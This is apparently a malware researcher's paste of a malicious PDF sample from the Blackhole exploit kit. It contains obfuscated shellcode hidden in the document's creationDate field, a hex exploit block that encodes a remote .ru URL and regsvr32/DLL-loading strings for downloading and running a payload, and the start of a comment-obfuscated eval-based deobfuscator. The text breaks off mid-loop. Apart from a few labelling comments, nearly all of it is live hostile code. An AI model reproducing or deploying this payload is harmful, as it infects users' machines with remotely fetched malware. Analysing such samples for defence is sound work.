=============================== #MalwareMustDie - infector.pdf BHEK2 PluginDetect Obfuscated Case: http://malwaremustdie.blogspot.jp/2012/11/plugindetect-079-payloads-of-blackhole.html#obfuscated =============================== // This is the shellcode parts.... with(event){ t.creationDate='%#^&*%^#@&%#@3J-648481K3J-4443N4A4C-3293N4E3N-2464C1K4C-33J4A3P3N-14C1K3L4A-63N3J4C41-047462G3J-14C3N1K4B-04844414C-51E1D4K1D-61F3D1N3F-01K4A3N48-7443J3L3N-21E1L271L-13P1I1D1D-91F274E3J-94A16483J-33M3M4146-03P274E3J-64A163K3K-63K1I163L-83L3L1I16-53M3M3M1I-8163N3N3N-21I163O3O-93O1I163P-43P3P1I16-940404027-24E3J4A16-348474146-54C3N4A4B-83H3J1I16-641274E3J-04A164G16-12916463N-04F162D4A-84A3J4H1E-31F274E3J-34A164H16-12916463N-04F162D4A-94A3J4H1E-11F274E3J-74A163H44-31N291820-23L1O1M22-91M1M3O1M-2211N2324-81M203J1P-13L1O1M22-01M1M3O1M-43O221P24-91M203J3J-81P3N3K24-21M203J1P-21M1O1M24-71O203J22-73N1O3O24-31M203J20-11N201N20-21N201N1O-8221M1M1M-91M1M1M1M-81M1M1M1M-01M1M1M1M-21M1M1M1M-81M1M1M1M-11M1M1M1M-51M1M1M1N-21O1P2524-21M203J22-5201O1M22-31M1M3O1M-51M1M201M-41M1M1M20-71N201N20-91N201N20-51N201N20-91N201N18-71H3N4E3N-6464C1K4C-23J4A3P3N-24C1K3L4A-83N3J4C41-047462G3J-64C3N1K4B-24844414C-71E1D4K1D-51F3D1N3F-51K4A3N48-0443J3L3N-71E1L271L-53P1I1D1D-11F274E3J-84A163H44-61O291820-33L1O1M22-61M1M3O3J-721221P24-01M203J1P-03L1O1M22-11M1M3O25-7221O1N24-41M203J25-61M1N3O24-11M203J1P-11M251M24-520203J23-93M233N24-21M203J20-51N201N20-51N201N1O-4221M1M1M-91M1M1M1M-51M1M1M1M-61M1M1M1M-51M1M1M1M-71M1M1M1M-31M1M1M1M-31M1M1M23-21N242424-51M203J22-0201O1M22-01M1M3O1M-61M1M201M-81M1M1M20-61N201N20-91N201N20-71N201N20-51N201N18-11H3N4E3N-7464C1K4C-83J4A3P3N-84C1K3L4A-33N3J4C41-647462G3J-04C3N1K4B-64844414C-31E1D4K1D-11F3D1N3F-11K4A3N48-8443J3L3N-61E1L271L-73P1I1D1D-71F273H44-41P293J48-448273H44-32029463N-14F162D4A-94A3J4H1E-81F273O4D-6463L4C41-54746163H-844211E1F-64J4E3J4A-1163H4422-9293H441P-41K4E413N-34F3N4A38-63N4A4B41-147461K4C-447354C4A-541463P1E-91F273H44-522293H44-1221K4A3N-548443J3L-73N1E1D1K-91D1I1D1D-81F274F40-841443N1E-03H44221K-7443N463P-44C402820-81F3H4422-61H291D1M-01D274A3N-44C4D4A46-116483J4A-44B3N2L46-34C1E3H44-9221I1N1M-01F4L3O4D-0463L4C41-84746163H-844231E3H-244241I3H-944251F4J-44F404144-73N1E3H44-7241K443N-5463P4C40-31G1O283H-444251F3H-444241H29-83H442427-54A3N4C4D-14A46163H-544241K4B-54D3K4B4C-94A41463P-31E1M1I3H-744251L1O-81F4L3O4D-0463L4C41-74746163H-52L1M1E3H-22L1N1F4J-13H2L1N29-64D463N4B-63L3J483N-51E3H2L1N-81F274A47-64C3N2G3J-743293H2L-81N1K443N-6463P4C40-91G1O273M-73J433447-04C3N294D-8463N4B3L-43J483N1E-71D1B4D25-41M251M1D-01F274B48-14A3J4H29-43H44231E-63M3J4334-2474C3N1I-21M4G1O1M-31M1M1J4A-4474C3N2G-53J431F27-244474G39-4403N3N29-73H2L1N1H-04B484A3J-94H274447-04G39403N-33N293H44-8231E4447-84G39403N-03N1I211O-8201M2524-71F273O47-84A1E4129-61M271641-316281620-91M1M2716-3411H1H1F-63H44203D-8413F2944-9474G3940-33N3N1K4B-44D3K4B4C-94A1E1M1I-744474G39-8403N3N1K-7443N463P-14C401J1N-01F1H3M3J-24334474C-53N274L3O-84D463L4C-541474616-03H2L1O1E-73H2L1N1I-7443N461F-14J4F4041-9443N1E3H-02L1N1K44-13N463P4C-84028443N-1461F3H2L-91N1H293H-52L1N274A-13N4C4D4A-546163H2L-81N1K4B4D-03K4B4C4A-041463P1E-61M1I443N-0461F4L3O-14D463L4C-041474616-43H2L1P1E-33H2L1N1F-94J4A3N4C-3291D1D27-23O474A1E-041291M27-341283H2L-51N1K443N-8463P4C40-127411H29-21O1F4J3K-8293H2L1N-91K4B4D3K-14B4C4A1E-1411I1O1F-0273L2948-33J4A4B3N-52L464C1E-83K1I1N22-61F274A3N-44C1H2935-34C4A4146-73P1K3O4A-247452F40-43J4A2F47-83M3N1E3L-21F274L4A-03N4C4D4A-846164A3N-64C4L3O4D-2463L4C41-34746163H-942411N1E-13H2L1N1I-83H2L201F-14J3H2L21-2291D1D27-13O474A1E-83H2L2229-01M273H2L-522283H2L-01N1K443N-0463P4C40-6273H2L22-31H1H1F4J-33H442529-63H2L201K-7443N463P-84C40273H-52L23293H-32L1N1K3L-3403J4A2F-8473M3N2D-14C1E3H2L-5221F273H-42L24293H-12L201K3L-9403J4A2F-5473M3N2D-94C1E3H2L-5221B3H44-7251F273H-42L211H29-4354C4A41-1463P1K3O-24A47452F-8403J4A2F-3473M3N1E-63H2L233G-63H2L241F-5274L4A3N-14C4D4A46-9163H2L21-54L3O4D46-93L4C4147-246163H2L-8251E3H2L-5221F4J3H-9421M293H-72L221K4C-247354C4A-341463P1E-21N221F27-33H421N29-63H421M1K-9443N463P-74C40273H-72L21291E-83H421N1B-21O1F2B1D-81M1D1H3H-6421M263H-2421M274A-33N4C4D4A-246163H2L-3214L3O4D-7463L4C41-04746163H-8421O1E3H-32L1N1F4J-73H2L2129-31D1D273O-4474A1E3H-62L22291M-0273H2L22-5283H2L1N-81K443N46-83P4C4027-13H2L221H-0291O1F4J-73H2L211H-3291D1B4D-31D273H2L-1211H293H-82L251E3H-12L1N1K3L-0403J4A2F-6473M3N2D-84C1E3H2L-1221H1N1F-01F273H2L-6211H293H-72L251E3H-42L1N1K3L-1403J4A2F-9473M3N2D-74C1E3H2L-9221F1F4L-24A3N4C4D-74A46163H-22L214L3O-94D463L4C-041474616-93H421P1E-71F4J3H42-020293H44-4211E1F27-7413O1E3H-142202825-71M1M1M1F-74J3H4221-0291D471H-34D2D3542-03P3P3P43-2484D2O20-12E2N1L1L-31L1L1L4F-42D2D2D2D-92E2D2D2D-12D2D2D2D-52D2D2D2D-02D332D2D-02D2D2D2D-42D2D3O40-43J2D3541-32D3P3B2D-625242H2L-42E2N1D27-23H422229-83H441N27-13H422329-73H2L1P1E-93H42221F-44L3N444B-83N4J3H42-621291D43-62E1H2D35-442413340-32H48253O-7472E2N1L-41L1L1L1L-34F2D2D2D-82D2E2D2D-72D2D2D2D-52D2D2D2D-22D2D332D-82D2D2D2D-92D2D2D3B-64G2F2D35-0412D3P3B-02D1L3O2H-4202E2N1D-0273H4222-2293H441O-8273H4223-6293H2L1P-61E3H4222-41F4L3H42-224291D35-03743492D-42G3P3P2D-42D2E2E1D-9273H4225-3293H2L1O-01E1D3337-92I2E1D1I-11N1M2524-6201F273H-644441M29-71D33333L-62D2D2D2H-02G2D2D2H-02D2D2D2D-44F2L2D2D-72D2D332H-52G2D2D2H-82D2D2D2D-72E2D2D2D-42D2D4F2H-42G2D2D2H-72D2D2D2D-72E2D2D2D-82D2E3P2H-92G2D2D2H-12D2D2D2D-92E2D2D2D-62D2H332H-72H2D2D2H-32D2D2D2D-82L2D2D2D-02D2I4F2H-82H2D2D2H-42D2D2D2D-14F2L2D2D-32D372D2H-42G2D2P4F-32D2D2D2F-5352L2D2D-32D2D2D2D-92D2D2D2D-22P2G2D42-91L1L1L1L-11L1D273H-244441N29-53H42241H-83H42251H-93H44441M-31H3H4221-7273H4444-41O293H42-9411N1E3H-742231I1D-11D1F2741-03O1E3H44-6441O1K44-23N463P4C-9401B1O1F-23H44441O-21H294D46-43N4B3L3J-3483N1E1D-41B1M1M1D-41F273H44-7441P293H-7421O1E3H-844441O1F-4274F414C-2401E4J43-3263H4444-91P4L1F3H-12L1M1E43-71F272L45-83J3P3N2I-4413N443M-11N1K4A3J-54F383J44-24D3N293H-044441N4L-03H421P1E-21F27| // the exploit parts.... 6683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f68616d6173757472612e72753a383038302f666f72756d2f6c696e6b732f636f6c756d6e2e7068703f6d7165696b3d33303a316e3a31693a31693a333326616865773d32763a316b3a316d3a33323a33333a316b3a316b3a33313a316a3a316f266e6f6f65653d316926716871626c3d77666f2661726369747562613d6d6974630000'; // the generator of deobfuscation Exploit and Shellcode.. see the usage of many comments /* comment*/ to avoid detection l="l"; ev=/*ewbwf*/"eva"/*/renyaerz*/; t=target; aa='co'+'de]'; ind="indexOf"; if(true)if(true){k=t[/*czx*/ev/*qwdsa*/+l/*sgewgerj*/];} a=/**/t.creationDate.split('|')[0].substr(13); } s=""; p=k("pars"+"eInt"); z=a; e="de"; ll="length"; ss=/*bgre*/k("String"); ss=ss[ff/*x*/+e]; xz=a.length; for(i=0;i